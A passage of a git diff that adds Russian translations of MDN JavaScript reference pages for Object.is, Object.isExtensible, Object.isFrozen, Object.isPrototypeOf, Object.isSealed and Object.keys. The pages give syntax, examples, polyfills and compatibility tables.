+</ul>
+
+<p>Поведение этого метода <em>не</em> аналогично оператору {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}. Оператор {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} использует приведение типов обоих операндов (если они имеют различный тип) перед проверкой на равенство (в результате получается, что проверка <code>"" == false</code> даёт <code>true</code>), а метод <code>Object.is</code> приведение типов не выполняет.</p>
+
+<p>Поведение этого метода <em>не</em> аналогично оператору {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}. Оператор {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} (также как и оператор {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}) считает числовые значения <code>-0</code> и <code>+0</code> равными, а значение {{jsxref("Number.NaN")}} не равным самому себе.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Object.is('foo', 'foo');     // true
+Object.is(window, window);   // true
+
+Object.is('foo', 'bar');     // false
+Object.is([], []);           // false
+
+var test = { a: 1 };
+Object.is(test, test);       // true
+
+Object.is(null, null);       // true
+
+// Специальные случаи
+Object.is(0, -0);            // false
+Object.is(-0, -0);           // true
+Object.is(NaN, 0/0);         // true
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>Object.is</code> предложен в дополнение к стандарту ECMA-262; поэтому он может быть недоступен в некоторых браузерах. Это можно обойти, вставив приведённый ниже фрагмент кода в начало ваших скриптов. Он позволит вам использовать метод <code>Object.is</code> в случаях, когда он не имеет родной поддержки браузером.</p>
+
+<pre><code>if (!Object.is) {
+  Object.is = function(x, y) {
+    // SameValue algorithm
+    if (x === y) { // Steps 1-5, 7-10
+      // Steps 6.b-6.e: +0 != -0
+      return x !== 0 || 1 / x === 1 / y;
+    } else {
+      // Step 6.a: NaN == NaN
+      return x !== x &amp;&amp; y !== y;
+    }
+  };
+}</code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.is")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Sameness">Руководство по JavaScript: одинаковость</a> — сравнение всех трёх встроенных способов проверки на одинаковость</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/isextensible/index.html b/files/ru/web/javascript/reference/global_objects/object/isextensible/index.html
new file mode 100644
index 0000000000..99b44f9654
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/isextensible/index.html
@@ -0,0 +1,134 @@
+---
+title: Object.isExtensible()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Object.isExtensible()</code></strong> определяет, является ли объект расширяемым (то есть, можно ли к нему добавлять новые свойства).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Object.isExtensible(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Проверяемый объект.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объекты являются расширяемыми по умолчанию: к ним можно добавлять новые свойства и (в движках, поддерживающих свойство {{jsxref("Object.proto", "__proto__")}}) их можно изменять. Объект может быть помечен, как не изменяемый с помощью методов {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}} или {{jsxref("Object.freeze()")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">// Новые объекты являются расширяемыми.
+var empty = {};
+assert(Object.isExtensible(empty) === true);
+
+// ...но это может быть изменено.
+Object.preventExtensions(empty);
+assert(Object.isExtensible(empty) === false);
+
+// Запечатанные объекты по определению не расширяемы.
+var sealed = Object.seal({});
+assert(Object.isExtensible(sealed) === false);
+
+// Замороженные объекты также по определению не расширяемы.
+var frozen = Object.freeze({});
+assert(Object.isExtensible(frozen) === false);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет рассматриваться, как простой не расширяемый объект и метод просто вернёт <code>false</code>.</p>
+<pre class="brush: js">&gt; Object.isExtensible(1)
+TypeError: 1 is not an object // код ES5
+
+&gt; Object.isExtensible(1)
+false                         // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("6")}}</td>
+    <td>{{CompatGeckoDesktop("2.0")}}</td>
+    <td>{{CompatIE("9")}}</td>
+    <td>{{CompatOpera("12")}}</td>
+    <td>{{CompatSafari("5.1")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/isfrozen/index.html b/files/ru/web/javascript/reference/global_objects/object/isfrozen/index.html
new file mode 100644
index 0000000000..1970718f05
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/isfrozen/index.html
@@ -0,0 +1,142 @@
+---
+title: Object.isFrozen()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>Object.isFrozen()</strong></code> определяет, был ли объект заморожен.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.isFrozen(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Проверяемый объект.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объект является замороженным только в том случае, если он не {{jsxref("Object.isExtensible()", "расширяем", "", 1)}}, все его свойства являются не настраиваемыми и все его свойства данных (то есть такие, которые не являются свойствами доступа с функциями сеттера или геттера) являются не записываемыми.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">// Новый объект является расширяемым, так что он не заморожен.
+assert(Object.isFrozen({}) === false);
+
+// Пустой не расширяемый объект по определению заморожен.
+var vacuouslyFrozen = Object.preventExtensions({});
+assert(Object.isFrozen(vacuouslyFrozen) === true);
+
+// Новый объект с одним свойством является расширяемым, поэтому он не заморожен.
+var oneProp = { p: 42 };
+assert(Object.isFrozen(oneProp) === false);
+
+// Предотвращение расширения объекта всё ещё не делает его замороженным,
+// поскольку свойство всё ещё остаётся настраиваемым (и записываемым).
+Object.preventExtensions(oneProp);
+assert(Object.isFrozen(oneProp) === false);
+
+// ...но при удалении этого свойства объект становится замороженным по определению.
+delete oneProp.p;
+assert(Object.isFrozen(oneProp) === true);
+
+// Не расширяемый объект с не записываемым, но всё ещё настраиваемым свойством, не является замороженным.
+var nonWritable = { e: 'plep' };
+Object.preventExtensions(nonWritable);
+Object.defineProperty(nonWritable, 'e', { writable: false }); // делаем свойство не записываемым
+assert(Object.isFrozen(nonWritable) === false);
+
+// Изменение свойства на не настраиваемое делает объект замороженным.
+Object.defineProperty(nonWritable, 'e', { configurable: false }); // делаем свойство не настраиваемым
+assert(Object.isFrozen(nonWritable) === true);
+
+// Не расширяемый объект с не настраиваемым, но всё ещё записываемым свойством, также не является замороженным.
+var nonConfigurable = { release: 'кракен!' };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, 'release', { configurable: false });
+assert(Object.isFrozen(nonConfigurable) === false);
+
+// Изменение свойства на не записываемое делает объект замороженным.
+Object.defineProperty(nonConfigurable, 'release', { writable: false });
+assert(Object.isFrozen(nonConfigurable) === true);
+
+// Не расширяемый объект с настраиваемым свойством доступа не является замороженным.
+var accessor = { get food() { return 'ням'; } };
+Object.preventExtensions(accessor);
+assert(Object.isFrozen(accessor) === false);
+
+// ...но сделав это свойство не настраиваемым, объект становится замороженным.
+Object.defineProperty(accessor, 'food', { configurable: false });
+assert(Object.isFrozen(accessor) === true);
+
+// Самым же простым способом заморозить объект можно через вызов на нём метода Object.freeze.
+var frozen = { 1: 81 };
+assert(Object.isFrozen(frozen) === false);
+Object.freeze(frozen);
+assert(Object.isFrozen(frozen) === true);
+
+// По определению, замороженный объект является не расширяемым.
+assert(Object.isExtensible(frozen) === false);
+
+// Также, по определению, замороженный объект является запечатанным.
+assert(Object.isSealed(frozen) === true);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет рассматриваться, как простой замороженный объект и метод просто вернёт <code>true</code>.</p>
+
+<pre class="brush: js">&gt; Object.isFrozen(1)
+TypeError: 1 is not an object // код ES5
+
+&gt; Object.isFrozen(1)
+true                          // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.isFrozen")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/isprototypeof/index.html b/files/ru/web/javascript/reference/global_objects/object/isprototypeof/index.html
new file mode 100644
index 0000000000..d9ece7c245
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/isprototypeof/index.html
@@ -0,0 +1,159 @@
+---
+title: Object.prototype.isPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>isPrototypeOf()</strong></code> проверяет, входит ли объект в цепочку прототипов другого объекта.</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> метод <code>isPrototypeOf()</code> отличается от оператора {{jsxref("Operators/instanceof", "instanceof")}}. Выражение "<code>object instanceof AFunction</code>" проверяет, присутствует ли в цепочке прототипов объекта <code>object</code> объект <code>AFunction.prototype</code>, а не сам объект <code>AFunction</code>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>prototypeObj</var>.isPrototypeOf(<var>object</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>prototypeObj</code></dt>
+ <dd>Объект, проверяемый на каждую ссылку в цепочке прототипов аргумента <strong>object</strong>.</dd>
+ <dt><code>object</code></dt>
+ <dd>Объект, в чьей цепочке прототипов производится поиск.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>isPrototypeOf()</code> позволяет вам проверять, существует ли объект в цепочке прототипов другого объекта.</p>
+
+<p>Например, рассмотрим следующую цепочку прототипов:</p>
+
+<pre class="brush: js">function Fee() {
+  // ...
+}
+
+function Fi() {
+  // ...
+}
+Fi.prototype = new Fee();
+
+function Fo() {
+  // ...
+}
+Fo.prototype = new Fi();
+
+function Fum() {
+  // ...
+}
+Fum.prototype = new Fo();
+</pre>
+
+<p>Если позже вы создадите экземпляр объекта <code>Fum</code> и захотите проверить, что прототип <code>Fi</code> существует в цепочке прототипов <code>Fum</code>, вы можете сделать следующее:</p>
+
+<pre class="brush: js">var fum = new Fum();
+// ...
+
+if (Fi.prototype.isPrototypeOf(fum)) {
+  // здесь безопасно что-то делать
+}
+</pre>
+
+<p>Таким образом, вместе с оператором {{jsxref("Operators/instanceof", "instanceof")}}, это особенно пригождается, если у вас есть код, который может работать только с объектами, имеющими определённую цепочку прототипов, к примеру, чтобы он мог гарантировать, что в объекте присутствуют определённые методы или свойства.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/issealed/index.html b/files/ru/web/javascript/reference/global_objects/object/issealed/index.html
new file mode 100644
index 0000000000..a0f0ad8c5e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/issealed/index.html
@@ -0,0 +1,147 @@
+---
+title: Object.isSealed()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>Object.isSealed()</strong></code> определяет, является ли объект запечатанным.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Object.isSealed(<var>obj</var>)</code></pre>
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt>
+  <code>obj</code></dt>
+ <dd>
+  Проверяемый объект.</dd>
+</dl>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает <code>true</code>, если объект является запечатанным, иначе возвращает <code>false</code>. Объект является запечатанным, если он является не {{jsxref("Object.isExtensible", "расширяемым", "", 1)}} и если все его свойства являются не настраиваемыми и, следовательно, не удаляемыми (но не обязательно не записываемыми).</p>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">// По умолчанию объекты не запечатаны.
+var empty = {};
+assert(Object.isSealed(empty) === false);
+
+// Если вы сделаете пустой объект не расширяемым, он по определению станет запечатанным.
+Object.preventExtensions(empty);
+assert(Object.isSealed(empty) === true);
+
+// То же самое не верно для не пустого объекта, пока все его свойства не станут не настраиваемыми.
+var hasProp = { fee: 'fie foe fum' };
+Object.preventExtensions(hasProp);
+assert(Object.isSealed(hasProp) === false);
+
+// Но сделав все его свойства не настраиваемыми, объект становится запечатанным.
+Object.defineProperty(hasProp, 'fee', { configurable: false });
+assert(Object.isSealed(hasProp) === true);
+
+// Простейшим способом запечатать объект, конечно, является использование метода Object.seal.
+var sealed = {};
+Object.seal(sealed);
+assert(Object.isSealed(sealed) === true);
+
+// Запечатанный объект по определению является не расширяемым.
+assert(Object.isExtensible(sealed) === false);
+
+// Запечатанный объект может быть замороженным, но это не всегда так.
+assert(Object.isFrozen(sealed) === true); // все свойства также являются не записываемыми
+
+var s2 = Object.seal({ p: 3 });
+assert(Object.isFrozen(s2) === false); // свойство 'p' всё ещё записываемое
+
+var s3 = Object.seal({ get p() { return 0; } });
+assert(Object.isFrozen(s3) === true); // для свойств доступа значение имеет только их настраиваемость
+</pre>
+<h2 id="Notes" name="Notes">Примечания</h2>
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет рассматриваться, как простой запечатанный объект и метод просто вернёт <code>true</code>.</p>
+<pre class="brush: js">&gt; Object.isSealed(1)
+TypeError: 1 is not an object // код ES5
+
+&gt; Object.isSealed(1)
+true                          // код ES6
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("6")}}</td>
+    <td>{{CompatGeckoDesktop("2.0")}}</td>
+    <td>{{CompatIE("9")}}</td>
+    <td>{{CompatOpera("12")}}</td>
+    <td>{{CompatSafari("5.1")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/keys/index.html b/files/ru/web/javascript/reference/global_objects/object/keys/index.html
new file mode 100644
index 0000000000..d5700bbb4e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/keys/index.html
@@ -0,0 +1,153 @@
+---
+title: Object.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Object/keys
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>Object.keys()</strong></code> возвращает массив из собственных перечисляемых свойств переданного объекта, в том же порядке, в котором они бы обходились циклом {{jsxref("Statements/for...in", "for...in")}} (разница между циклом и методом в том, что цикл перечисляет свойства и из цепочки прототипов).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.keys(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, чьи собственные перечисляемые свойства будут возвращены.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>Object.keys</code> возвращает массив строковых элементов, соответствующих именам перечисляемых свойств, найденных непосредственно в самом объекте. Порядок свойств такой же, как и при ручном перечислении свойств в объекте через цикл.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+console.log(Object.keys(arr)); // консоль: ['0', '1', '2']
+
+// Массивоподобный объект
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.keys(obj)); // консоль: ['0', '1', '2']
+
+// Массивоподобный объект со случайным порядком ключей
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.keys(an_obj)); // консоль: ['2', '7', '100']
+
+// Свойство getFoo является не перечисляемым свойством
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = 1;
+
+console.log(Object.keys(my_obj)); // консоль: ['foo']
+</pre>
+
+<p>Если вы хотите увидеть все свойства, а не только перечисляемые, смотрите метод {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES2015 такой аргумент будет приведён к объекту.</p>
+
+<pre class="brush: js">&gt; Object.keys('foo')
+TypeError: 'foo' is not an object // код ES5
+
+&gt; Object.keys('foo')
+['0', '1', '2']                   // код ES2015
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Для добавления поддержки совместимого метода <code>Object.keys</code> в старых окружениях, которые его ещё не реализуют, скопируйте следующий кусок кода:</p>
+
+<pre class="brush: js">// From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
+if (!Object.keys) {
+  Object.keys = (function() {
+    'use strict';
+    var hasOwnProperty = Object.prototype.hasOwnProperty,
+        hasDontEnumBug = !({ toString: null }).propertyIsEnumerable('toString'),
+        dontEnums = [
+          'toString',
+          'toLocaleString',
+          'valueOf',
+          'hasOwnProperty',
+          'isPrototypeOf',
+          'propertyIsEnumerable',
+          'constructor'
+        ],
+        dontEnumsLength = dontEnums.length;
+
+    return function(obj) {
+      if (typeof obj !== 'object' &amp;&amp; (typeof obj !== 'function' || obj === null)) {
+        throw new TypeError('Object.keys called on non-object');
+      }
+
+      var result = [], prop, i;
+
+      for (prop in obj) {
+        if (hasOwnProperty.call(obj, prop)) {
+          result.push(prop);
+        }
+      }
+
+      if (hasDontEnumBug) {
+        for (i = 0; i &lt; dontEnumsLength; i++) {
+          if (hasOwnProperty.call(obj, dontEnums[i])) {
+            result.push(dontEnums[i]);
+          }
+        }
+      }
+      return result;
+    };
+  }());
+}
+</pre>
+
+<p>Пожалуйста, обратите внимание, что вышеприведённый код в IE7 (и, может быть, в IE8) включает и не перечисляемые ключи, если объект передаётся из другого окна.</p>
+
+<p>Более простой полифилл может быть найден в статье <a href="http://tokenposts.blogspot.com.au/2012/04/javascript-objectkeys-browser.html">Javascript - Object.keys Browser Compatibility</a> (англ.).</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Object.keys")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Enumerability_and_ownership_of_properties">Перечисляемость и собственность свойств</a></li>
